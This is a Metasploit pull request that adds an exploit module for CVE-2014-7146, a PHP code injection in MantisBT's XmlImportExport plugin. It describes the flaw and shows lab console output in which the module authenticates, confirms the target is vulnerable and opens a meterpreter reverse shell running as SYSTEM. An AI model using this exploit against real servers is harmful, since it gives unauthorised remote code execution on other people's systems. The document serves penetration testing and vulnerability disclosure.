rapid7/metasploit-framework — pull request #4159 by itseco (2014-11-09 13:23:29+00:00)
Title: Add CVE-2014-7146 PHP Code Execution for MantisBT

CVE-2014-7146: MantisBT XmlImportExport plugin PHP Code Injection Vulnerability

When importing data with the plugin, user input passed through the "description" field (and the "issuelink" attribute) of the uploaded XML file isn't properly sanitized before being used in a call to the preg_replace() function which uses the 'e' modifier. This can be exploited to inject and execute arbitrary PHP code when the Import/Export plugin is installed.

* Homepage: https://www.mantisbt.org/
* Source: http://sourceforge.net/projects/mantisbt/files/mantis-stable/1.2.17/mantisbt-1.2.17.zip/download
* Tested on: MantisBT 1.2.17, Windows 8 Home Premium Edition 64 bits, PHP Version 5.5.8.
* Usage:
* Install MantisBT
* Run the module

![exploit cve-2014-7146](https://cloud.githubusercontent.com/assets/1725054/4967458/94adfe54-6812-11e4-8a10-90af3cf7b90a.png)

### Example output
```
msf exploit(mantisbt_php_exec) > show options

Module options (exploit/test/mantisbt_php_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD root yes Pasword to authenticate as
Proxies no Use a proxy chain
RHOST 192.168.1.51 yes The target address
RPORT 80 yes The target port
TARGETURI mantisbt-1.2.17 yes Base x7 Chat directory path
USERNAME administrator yes Username to authenticate as
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.58 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Generic (PHP Payload)

msf exploit(mantisbt_php_exec) > check

[*] Checking access to MantisBT...
[*] Logging in...
[*] Checking XmlImportExport plugin...
[*] Sending payload...
[*] Deleting the issue (JUJGG)...
[+] Issue number (69) removed
[+] 192.168.1.51:80 - The target is vulnerable.
msf exploit(mantisbt_php_exec) > exploit

[*] Started reverse handler on 192.168.1.58:4444
[*] Checking access to MantisBT...
[*] Logging in...
[*] Checking XmlImportExport plugin...
[*] Sending payload...
[*] Sending stage (40551 bytes) to 192.168.1.51
[*] Meterpreter session 11 opened (192.168.1.58:4444 -> 192.168.1.51:61757) at 2014-11-09 08:11:05 -0500
[*] Deleting the issue (JIHRN)...
[-] Error trying to access to My View page
[-] Exploit failed: 192.168.1.51:80 - Exploit failed, aborting.

meterpreter > get
getenv getlwd getpid getuid getwd
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter >
```

CVE Reference: http://seclists.org/oss-sec/2014/q4/576

**Note**: It still have a problem with the request that I do after getting a meterpreter session. It is a request to delete the Issue log and into the check method it works fine, but into the run/exploit, the request fails, but still it get the meterpreter session. I went not able to solve it, any idea maybe? Thank you.